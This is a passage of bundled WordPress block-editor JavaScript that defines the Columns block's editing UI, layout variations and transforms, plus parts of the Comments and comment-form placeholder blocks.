8274 label: (0,external_wp_i18n_namespaceObject.__)("Columns"),
8275 value: count,
8276 onChange: (value) => updateColumns(count, Math.max(minCount, value)),
8277 min: Math.max(1, minCount),
8278 max: Math.max(6, count)
8279 }
8280 ),
8281 count > 6 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Notice, { status: "warning", isDismissible: false, children: (0,external_wp_i18n_namespaceObject.__)(
8282 "This column count exceeds the recommended amount and may cause visual breakage."
8283 ) })
8284 ] }),
8285 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8286 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
8287 {
8288 label: (0,external_wp_i18n_namespaceObject.__)("Stack on mobile"),
8289 isShownByDefault: true,
8290 hasValue: () => isStackedOnMobile !== true,
8291 onDeselect: () => setAttributes({
8292 isStackedOnMobile: true
8293 }),
8294 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8295 external_wp_components_namespaceObject.ToggleControl,
8296 {
8297 __nextHasNoMarginBottom: true,
8298 label: (0,external_wp_i18n_namespaceObject.__)("Stack on mobile"),
8299 checked: isStackedOnMobile,
8300 onChange: () => setAttributes({
8301 isStackedOnMobile: !isStackedOnMobile
8302 })
8303 }
8304 )
8305 }
8306 )
8307 ]
8308 }
8309 );
8310}
8311function ColumnsEditContainer({ attributes, setAttributes, clientId }) {
8312 const { isStackedOnMobile, verticalAlignment, templateLock } = attributes;
8313 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
8314 const { getBlockOrder } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
8315 const { updateBlockAttributes } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
8316 const classes = dist_clsx({
8317 [`are-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
8318 [`is-not-stacked-on-mobile`]: !isStackedOnMobile
8319 });
8320 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
8321 className: classes
8322 });
8323 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
8324 defaultBlock: edit_DEFAULT_BLOCK,
8325 directInsert: true,
8326 orientation: "horizontal",
8327 renderAppender: false,
8328 templateLock
8329 });
8330 function updateAlignment(newVerticalAlignment) {
8331 const innerBlockClientIds = getBlockOrder(clientId);
8332 registry.batch(() => {
8333 setAttributes({ verticalAlignment: newVerticalAlignment });
8334 updateBlockAttributes(innerBlockClientIds, {
8335 verticalAlignment: newVerticalAlignment
8336 });
8337 });
8338 }
8339 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
8340 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8341 external_wp_blockEditor_namespaceObject.BlockVerticalAlignmentToolbar,
8342 {
8343 onChange: updateAlignment,
8344 value: verticalAlignment
8345 }
8346 ) }),
8347 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8348 edit_ColumnInspectorControls,
8349 {
8350 clientId,
8351 setAttributes,
8352 isStackedOnMobile
8353 }
8354 ) }),
8355 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps })
8356 ] });
8357}
8358function Placeholder({ clientId, name, setAttributes }) {
8359 const { blockType, defaultVariation, variations } = (0,external_wp_data_namespaceObject.useSelect)(
8360 (select) => {
8361 const {
8362 getBlockVariations,
8363 getBlockType,
8364 getDefaultBlockVariation
8365 } = select(external_wp_blocks_namespaceObject.store);
8366 return {
8367 blockType: getBlockType(name),
8368 defaultVariation: getDefaultBlockVariation(name, "block"),
8369 variations: getBlockVariations(name, "block")
8370 };
8371 },
8372 [name]
8373 );
8374 const { replaceInnerBlocks } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
8375 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
8376 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8377 external_wp_blockEditor_namespaceObject.__experimentalBlockVariationPicker,
8378 {
8379 icon: blockType?.icon?.src,
8380 label: blockType?.title,
8381 variations,
8382 instructions: (0,external_wp_i18n_namespaceObject.__)("Divide into columns. Select a layout:"),
8383 onSelect: (nextVariation = defaultVariation) => {
8384 if (nextVariation.attributes) {
8385 setAttributes(nextVariation.attributes);
8386 }
8387 if (nextVariation.innerBlocks) {
8388 replaceInnerBlocks(
8389 clientId,
8390 (0,external_wp_blocks_namespaceObject.createBlocksFromInnerBlocksTemplate)(
8391 nextVariation.innerBlocks
8392 ),
8393 true
8394 );
8395 }
8396 },
8397 allowSkip: true
8398 }
8399 ) });
8400}
8401const ColumnsEdit = (props) => {
8402 const { clientId } = props;
8403 const hasInnerBlocks = (0,external_wp_data_namespaceObject.useSelect)(
8404 (select) => select(external_wp_blockEditor_namespaceObject.store).getBlocks(clientId).length > 0,
8405 [clientId]
8406 );
8407 const Component = hasInnerBlocks ? ColumnsEditContainer : Placeholder;
8408 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Component, { ...props });
8409};
8410var columns_edit_edit_default = ColumnsEdit;
8411
8412
8413;// ./node_modules/@wordpress/block-library/build-module/columns/block.json
8414const columns_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/columns","title":"Columns","category":"design","allowedBlocks":["core/column"],"description":"Display content in multiple columns, with blocks added to each column.","textdomain":"default","attributes":{"verticalAlignment":{"type":"string"},"isStackedOnMobile":{"type":"boolean","default":true},"templateLock":{"type":["string","boolean"],"enum":["all","insert","contentOnly",false]}},"supports":{"anchor":true,"align":["wide","full"],"html":false,"color":{"gradients":true,"link":true,"heading":true,"button":true,"__experimentalDefaultControls":{"background":true,"text":true}},"spacing":{"blockGap":{"__experimentalDefault":"2em","sides":["horizontal","vertical"]},"margin":["top","bottom"],"padding":true,"__experimentalDefaultControls":{"padding":true,"blockGap":true}},"layout":{"allowSwitching":false,"allowInheriting":false,"allowEditing":false,"default":{"type":"flex","flexWrap":"nowrap"}},"__experimentalBorder":{"color":true,"radius":true,"style":true,"width":true,"__experimentalDefaultControls":{"color":true,"radius":true,"style":true,"width":true}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true},"shadow":true},"editorStyle":"wp-block-columns-editor","style":"wp-block-columns"}');
8415;// ./node_modules/@wordpress/block-library/build-module/columns/save.js
8416
8417
8418
8419function columns_save_save({ attributes }) {
8420 const { isStackedOnMobile, verticalAlignment } = attributes;
8421 const className = dist_clsx({
8422 [`are-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
8423 [`is-not-stacked-on-mobile`]: !isStackedOnMobile
8424 });
8425 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save({ className });
8426 const innerBlocksProps = external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save(blockProps);
8427 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps });
8428}
8429
8430
8431;// ./node_modules/@wordpress/block-library/build-module/columns/variations.js
8432
8433
8434
8435const variations_variations = [
8436 {
8437 name: "one-column-full",
8438 title: (0,external_wp_i18n_namespaceObject.__)("100"),
8439 description: (0,external_wp_i18n_namespaceObject.__)("One column"),
8440 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8441 external_wp_components_namespaceObject.SVG,
8442 {
8443 xmlns: "http://www.w3.org/2000/svg",
8444 width: "48",
8445 height: "48",
8446 viewBox: "0 0 48 48",
8447 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M0 10a2 2 0 0 1 2-2h44a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Z" })
8448 }
8449 ),
8450 innerBlocks: [["core/column"]],
8451 scope: ["block"]
8452 },
8453 {
8454 name: "two-columns-equal",
8455 title: (0,external_wp_i18n_namespaceObject.__)("50 / 50"),
8456 description: (0,external_wp_i18n_namespaceObject.__)("Two columns; equal split"),
8457 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8458 external_wp_components_namespaceObject.SVG,
8459 {
8460 xmlns: "http://www.w3.org/2000/svg",
8461 width: "48",
8462 height: "48",
8463 viewBox: "0 0 48 48",
8464 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M0 10a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Zm25 0a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H27a2 2 0 0 1-2-2V10Z" })
8465 }
8466 ),
8467 isDefault: true,
8468 innerBlocks: [["core/column"], ["core/column"]],
8469 scope: ["block"]
8470 },
8471 {
8472 name: "two-columns-one-third-two-thirds",
8473 title: (0,external_wp_i18n_namespaceObject.__)("33 / 66"),
8474 description: (0,external_wp_i18n_namespaceObject.__)("Two columns; one-third, two-thirds split"),
8475 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8476 external_wp_components_namespaceObject.SVG,
8477 {
8478 xmlns: "http://www.w3.org/2000/svg",
8479 width: "48",
8480 height: "48",
8481 viewBox: "0 0 48 48",
8482 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M0 10a2 2 0 0 1 2-2h11a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Zm17 0a2 2 0 0 1 2-2h27a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H19a2 2 0 0 1-2-2V10Z" })
8483 }
8484 ),
8485 innerBlocks: [
8486 ["core/column", { width: "33.33%" }],
8487 ["core/column", { width: "66.66%" }]
8488 ],
8489 scope: ["block"]
8490 },
8491 {
8492 name: "two-columns-two-thirds-one-third",
8493 title: (0,external_wp_i18n_namespaceObject.__)("66 / 33"),
8494 description: (0,external_wp_i18n_namespaceObject.__)("Two columns; two-thirds, one-third split"),
8495 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8496 external_wp_components_namespaceObject.SVG,
8497 {
8498 xmlns: "http://www.w3.org/2000/svg",
8499 width: "48",
8500 height: "48",
8501 viewBox: "0 0 48 48",
8502 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M0 10a2 2 0 0 1 2-2h27a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Zm33 0a2 2 0 0 1 2-2h11a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H35a2 2 0 0 1-2-2V10Z" })
8503 }
8504 ),
8505 innerBlocks: [
8506 ["core/column", { width: "66.66%" }],
8507 ["core/column", { width: "33.33%" }]
8508 ],
8509 scope: ["block"]
8510 },
8511 {
8512 name: "three-columns-equal",
8513 title: (0,external_wp_i18n_namespaceObject.__)("33 / 33 / 33"),
8514 description: (0,external_wp_i18n_namespaceObject.__)("Three columns; equal split"),
8515 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8516 external_wp_components_namespaceObject.SVG,
8517 {
8518 xmlns: "http://www.w3.org/2000/svg",
8519 width: "48",
8520 height: "48",
8521 viewBox: "0 0 48 48",
8522 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M0 10a2 2 0 0 1 2-2h10.531c1.105 0 1.969.895 1.969 2v28c0 1.105-.864 2-1.969 2H2a2 2 0 0 1-2-2V10Zm16.5 0c0-1.105.864-2 1.969-2H29.53c1.105 0 1.969.895 1.969 2v28c0 1.105-.864 2-1.969 2H18.47c-1.105 0-1.969-.895-1.969-2V10Zm17 0c0-1.105.864-2 1.969-2H46a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H35.469c-1.105 0-1.969-.895-1.969-2V10Z" })
8523 }
8524 ),
8525 innerBlocks: [
8526 ["core/column"],
8527 ["core/column"],
8528 ["core/column"]
8529 ],
8530 scope: ["block"]
8531 },
8532 {
8533 name: "three-columns-wider-center",
8534 title: (0,external_wp_i18n_namespaceObject.__)("25 / 50 / 25"),
8535 description: (0,external_wp_i18n_namespaceObject.__)("Three columns; wide center column"),
8536 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8537 external_wp_components_namespaceObject.SVG,
8538 {
8539 xmlns: "http://www.w3.org/2000/svg",
8540 width: "48",
8541 height: "48",
8542 viewBox: "0 0 48 48",
8543 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M0 10a2 2 0 0 1 2-2h7.531c1.105 0 1.969.895 1.969 2v28c0 1.105-.864 2-1.969 2H2a2 2 0 0 1-2-2V10Zm13.5 0c0-1.105.864-2 1.969-2H32.53c1.105 0 1.969.895 1.969 2v28c0 1.105-.864 2-1.969 2H15.47c-1.105 0-1.969-.895-1.969-2V10Zm23 0c0-1.105.864-2 1.969-2H46a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2h-7.531c-1.105 0-1.969-.895-1.969-2V10Z" })
8544 }
8545 ),
8546 innerBlocks: [
8547 ["core/column", { width: "25%" }],
8548 ["core/column", { width: "50%" }],
8549 ["core/column", { width: "25%" }]
8550 ],
8551 scope: ["block"]
8552 }
8553];
8554var variations_variations_default = variations_variations;
8555
8556
8557;// ./node_modules/@wordpress/block-library/build-module/columns/transforms.js
8558
8559const MAXIMUM_SELECTED_BLOCKS = 6;
8560const columns_transforms_transforms = {
8561 from: [
8562 {
8563 type: "block",
8564 isMultiBlock: true,
8565 blocks: ["*"],
8566 __experimentalConvert: (blocks) => {
8567 const columnWidth = +(100 / blocks.length).toFixed(2);
8568 const innerBlocksTemplate = blocks.map(
8569 ({ name, attributes, innerBlocks }) => [
8570 "core/column",
8571 { width: `${columnWidth}%` },
8572 [[name, { ...attributes }, innerBlocks]]
8573 ]
8574 );
8575 return (0,external_wp_blocks_namespaceObject.createBlock)(
8576 "core/columns",
8577 {},
8578 (0,external_wp_blocks_namespaceObject.createBlocksFromInnerBlocksTemplate)(innerBlocksTemplate)
8579 );
8580 },
8581 isMatch: ({ length: selectedBlocksLength }, blocks) => {
8582 if (blocks.length === 1 && blocks[0].name === "core/columns") {
8583 return false;
8584 }
8585 return selectedBlocksLength && selectedBlocksLength <= MAXIMUM_SELECTED_BLOCKS;
8586 }
8587 },
8588 {
8589 type: "block",
8590 blocks: ["core/media-text"],
8591 priority: 1,
8592 transform: (attributes, innerBlocks) => {
8593 const {
8594 align,
8595 backgroundColor,
8596 textColor,
8597 style,
8598 mediaAlt: alt,
8599 mediaId: id,
8600 mediaPosition,
8601 mediaSizeSlug: sizeSlug,
8602 mediaType,
8603 mediaUrl: url,
8604 mediaWidth,
8605 verticalAlignment
8606 } = attributes;
8607 let media;
8608 if (mediaType === "image" || !mediaType) {
8609 const imageAttrs = { id, alt, url, sizeSlug };
8610 const linkAttrs = {
8611 href: attributes.href,
8612 linkClass: attributes.linkClass,
8613 linkDestination: attributes.linkDestination,
8614 linkTarget: attributes.linkTarget,
8615 rel: attributes.rel
8616 };
8617 media = ["core/image", { ...imageAttrs, ...linkAttrs }];
8618 } else {
8619 media = ["core/video", { id, src: url }];
8620 }
8621 const innerBlocksTemplate = [
8622 ["core/column", { width: `${mediaWidth}%` }, [media]],
8623 [
8624 "core/column",
8625 { width: `${100 - mediaWidth}%` },
8626 innerBlocks
8627 ]
8628 ];
8629 if (mediaPosition === "right") {
8630 innerBlocksTemplate.reverse();
8631 }
8632 return (0,external_wp_blocks_namespaceObject.createBlock)(
8633 "core/columns",
8634 {
8635 align,
8636 backgroundColor,
8637 textColor,
8638 style,
8639 verticalAlignment
8640 },
8641 (0,external_wp_blocks_namespaceObject.createBlocksFromInnerBlocksTemplate)(innerBlocksTemplate)
8642 );
8643 }
8644 }
8645 ],
8646 ungroup: (attributes, innerBlocks) => innerBlocks.flatMap((innerBlock) => innerBlock.innerBlocks)
8647};
8648var columns_transforms_transforms_default = columns_transforms_transforms;
8649
8650
8651;// ./node_modules/@wordpress/block-library/build-module/columns/index.js
8652
8653
8654
8655
8656
8657
8658
8659
8660
8661const { name: columns_name } = columns_block_namespaceObject;
8662const columns_settings = {
8663 icon: columns_default,
8664 variations: variations_variations_default,
8665 example: {
8666 viewportWidth: 782,
8667 // Columns collapse "@media (max-width: 781px)".
8668 innerBlocks: [
8669 {
8670 name: "core/column",
8671 innerBlocks: [
8672 {
8673 name: "core/paragraph",
8674 attributes: {
8675 /* translators: example text. */
8676 content: (0,external_wp_i18n_namespaceObject.__)(
8677 "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent et eros eu felis."
8678 )
8679 }
8680 },
8681 {
8682 name: "core/image",
8683 attributes: {
8684 url: "https://s.w.org/images/core/5.3/Windbuchencom.jpg"
8685 }
8686 },
8687 {
8688 name: "core/paragraph",
8689 attributes: {
8690 /* translators: example text. */
8691 content: (0,external_wp_i18n_namespaceObject.__)(
8692 "Suspendisse commodo neque lacus, a dictum orci interdum et."
8693 )
8694 }
8695 }
8696 ]
8697 },
8698 {
8699 name: "core/column",
8700 innerBlocks: [
8701 {
8702 name: "core/paragraph",
8703 attributes: {
8704 /* translators: example text. */
8705 content: (0,external_wp_i18n_namespaceObject.__)(
8706 "Etiam et egestas lorem. Vivamus sagittis sit amet dolor quis lobortis. Integer sed fermentum arcu, id vulputate lacus. Etiam fermentum sem eu quam hendrerit."
8707 )
8708 }
8709 },
8710 {
8711 name: "core/paragraph",
8712 attributes: {
8713 /* translators: example text. */
8714 content: (0,external_wp_i18n_namespaceObject.__)(
8715 "Nam risus massa, ullamcorper consectetur eros fermentum, porta aliquet ligula. Sed vel mauris nec enim."
8716 )
8717 }
8718 }
8719 ]
8720 }
8721 ]
8722 },
8723 deprecated: columns_deprecated_deprecated_default,
8724 edit: columns_edit_edit_default,
8725 save: columns_save_save,
8726 transforms: columns_transforms_transforms_default
8727};
8728const columns_init = () => initBlock({ name: columns_name, metadata: columns_block_namespaceObject, settings: columns_settings });
8729
8730
8731;// ./node_modules/@wordpress/icons/build-module/library/post-comments.js
8732
8733
8734var post_comments_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M14 10.1V4c0-.6-.4-1-1-1H5c-.6 0-1 .4-1 1v8.3c0 .3.2.7.6.8.1.1.2.1.3.1.2 0 .5-.1.6-.3l1.8-1.8H13c.6 0 1-.4 1-1zm-1.5-.5H6.7l-1.2 1.2V4.5h7v5.1zM19 12h-8c-.6 0-1 .4-1 1v6.1c0 .6.4 1 1 1h5.7l1.8 1.8c.1.2.4.3.6.3.1 0 .2 0 .3-.1.4-.1.6-.5.6-.8V13c0-.6-.4-1-1-1zm-.5 7.8l-1.2-1.2h-5.8v-5.1h7v6.3z" }) });
8735
8736
8737;// ./node_modules/@wordpress/block-library/build-module/comments/block.json
8738const comments_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/comments","title":"Comments","category":"theme","description":"An advanced block that allows displaying post comments using different visual configurations.","textdomain":"default","attributes":{"tagName":{"type":"string","default":"div"},"legacy":{"type":"boolean","default":false}},"supports":{"align":["wide","full"],"html":false,"color":{"gradients":true,"heading":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true,"link":true}},"spacing":{"margin":true,"padding":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}}},"editorStyle":"wp-block-comments-editor","usesContext":["postId","postType"]}');
8739;// ./node_modules/@wordpress/block-library/build-module/comments/deprecated.js
8740
8741
8742const deprecated_v1 = {
8743 attributes: {
8744 tagName: {
8745 type: "string",
8746 default: "div"
8747 }
8748 },
8749 apiVersion: 3,
8750 supports: {
8751 align: ["wide", "full"],
8752 html: false,
8753 color: {
8754 gradients: true,
8755 link: true,
8756 __experimentalDefaultControls: {
8757 background: true,
8758 text: true,
8759 link: true
8760 }
8761 }
8762 },
8763 save({ attributes: { tagName: Tag } }) {
8764 const blockProps = external_wp_blockEditor_namespaceObject.useBlockProps.save();
8765 const { className } = blockProps;
8766 const classes = className?.split(" ") || [];
8767 const newClasses = classes?.filter(
8768 (cls) => cls !== "wp-block-comments"
8769 );
8770 const newBlockProps = {
8771 ...blockProps,
8772 className: newClasses.join(" ")
8773 };
8774 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tag, { ...newBlockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {}) });
8775 }
8776};
8777var comments_deprecated_deprecated_default = [deprecated_v1];
8778
8779
8780;// ./node_modules/@wordpress/block-library/build-module/comments/edit/comments-inspector-controls.js
8781
8782
8783
8784
8785const { HTMLElementControl: comments_inspector_controls_HTMLElementControl } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
8786function CommentsInspectorControls({
8787 attributes: { tagName },
8788 setAttributes
8789}) {
8790 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "advanced", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8791 comments_inspector_controls_HTMLElementControl,
8792 {
8793 tagName,
8794 onChange: (value) => setAttributes({ tagName: value }),
8795 options: [
8796 { label: (0,external_wp_i18n_namespaceObject.__)("Default (<div>)"), value: "div" },
8797 { label: "<section>", value: "section" },
8798 { label: "<aside>", value: "aside" }
8799 ]
8800 }
8801 ) }) });
8802}
8803
8804
8805;// ./node_modules/@wordpress/block-library/build-module/post-comments-form/form.js
8806
8807
8808
8809
8810
8811
8812
8813
8814const CommentsFormPlaceholder = () => {
8815 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(CommentsFormPlaceholder);
8816 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "comment-respond", children: [
8817 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h3", { className: "comment-reply-title", children: (0,external_wp_i18n_namespaceObject.__)("Leave a Reply") }),
8818 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
8819 "form",
8820 {
8821 noValidate: true,
8822 className: "comment-form",
8823 onSubmit: (event) => event.preventDefault(),
8824 children: [
8825 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("p", { children: [
8826 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("label", { htmlFor: `comment-${instanceId}`, children: (0,external_wp_i18n_namespaceObject.__)("Comment") }),
8827 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8828 "textarea",
8829 {
8830 id: `comment-${instanceId}`,
8831 name: "comment",
8832 cols: "45",
8833 rows: "8",
8834 readOnly: true
8835 }
8836 )
8837 ] }),
8838 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "form-submit wp-block-button", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8839 "input",
8840 {
8841 name: "submit",
8842 type: "submit",
8843 className: dist_clsx(
8844 "wp-block-button__link",
8845 (0,external_wp_blockEditor_namespaceObject.__experimentalGetElementClassName)("button")
8846 ),
8847 label: (0,external_wp_i18n_namespaceObject.__)("Post Comment"),
8848 value: (0,external_wp_i18n_namespaceObject.__)("Post Comment"),
8849 "aria-disabled": "true"
8850 }
8851 ) })
8852 ]
8853 }
8854 )
8855 ] });
8856};
8857const CommentsForm = ({ postId, postType }) => {
8858 const [commentStatus, setCommentStatus] = (0,external_wp_coreData_namespaceObject.useEntityProp)(
8859 "postType",
8860 postType,
8861 "comment_status",
8862 postId
8863 );
8864 const isSiteEditor = postType === void 0 || postId === void 0;
8865 const { defaultCommentStatus } = (0,external_wp_data_namespaceObject.useSelect)(
8866 (select) => select(external_wp_blockEditor_namespaceObject.store).getSettings().__experimentalDiscussionSettings
8867 );
8868 const postTypeSupportsComments = (0,external_wp_data_namespaceObject.useSelect)(
8869 (select) => postType ? !!select(external_wp_coreData_namespaceObject.store).getPostType(postType)?.supports.comments : false
8870 );
8871 if (!isSiteEditor && "open" !== commentStatus) {
8872 if ("closed" === commentStatus) {
8873 const actions = [
8874 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8875 external_wp_components_namespaceObject.Button,
8876 {
8877 __next40pxDefaultSize: true,
8878 onClick: () => setCommentStatus("open"),
8879 variant: "primary",
8880 children: (0,external_wp_i18n_namespaceObject._x)(
8881 "Enable comments",
8882 "action that affects the current post"
8883 )
8884 },
8885 "enableComments"
8886 )
8887 ];
8888 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { actions, children: (0,external_wp_i18n_namespaceObject.__)(
8889 "Post Comments Form block: Comments are not enabled for this item."
8890 ) });
8891 } else if (!postTypeSupportsComments) {
8892 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { children: (0,external_wp_i18n_namespaceObject.sprintf)(
8893 /* translators: %s: Post type (i.e. "post", "page") */
8894 (0,external_wp_i18n_namespaceObject.__)(
8895 "Post Comments Form block: Comments are not enabled for this post type (%s)."
8896 ),
8897 postType
8898 ) });
8899 } else if ("open" !== defaultCommentStatus) {
8900 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { children: (0,external_wp_i18n_namespaceObject.__)(
8901 "Post Comments Form block: Comments are not enabled."
8902 ) });
8903 }
8904 }
8905 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(CommentsFormPlaceholder, {});
8906};
8907var form_default = CommentsForm;
8908
8909
8910;// ./node_modules/@wordpress/block-library/build-module/comments/edit/placeholder.js
8911
8912
8913
8914
8915
8916
8917
8918function PostCommentsPlaceholder({ postType, postId }) {
8919 let [postTitle] = (0,external_wp_coreData_namespaceObject.useEntityProp)("postType", postType, "title", postId);
8920 postTitle = postTitle || (0,external_wp_i18n_namespaceObject.__)("Post Title");
8921 const { avatarURL } = (0,external_wp_data_namespaceObject.useSelect)(
8922 (select) => select(external_wp_blockEditor_namespaceObject.store).getSettings().__experimentalDiscussionSettings
8923 );
8924 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "wp-block-comments__legacy-placeholder", inert: "true", children: [
8925 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h3", {
8926 /* translators: %s: Post title. */
8927 children: (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)("One response to %s"), postTitle)
8928 }),
8929 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "navigation", children: [
8930 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "alignleft", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("a", { href: "#top", children: [
8931 "\xAB ",
8932 (0,external_wp_i18n_namespaceObject.__)("Older Comments")
8933 ] }) }),
8934 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "alignright", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("a", { href: "#top", children: [
8935 (0,external_wp_i18n_namespaceObject.__)("Newer Comments"),
8936 " \xBB"
8937 ] }) })
8938 ] }),
8939 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("ol", { className: "commentlist", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("li", { className: "comment even thread-even depth-1", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("article", { className: "comment-body", children: [
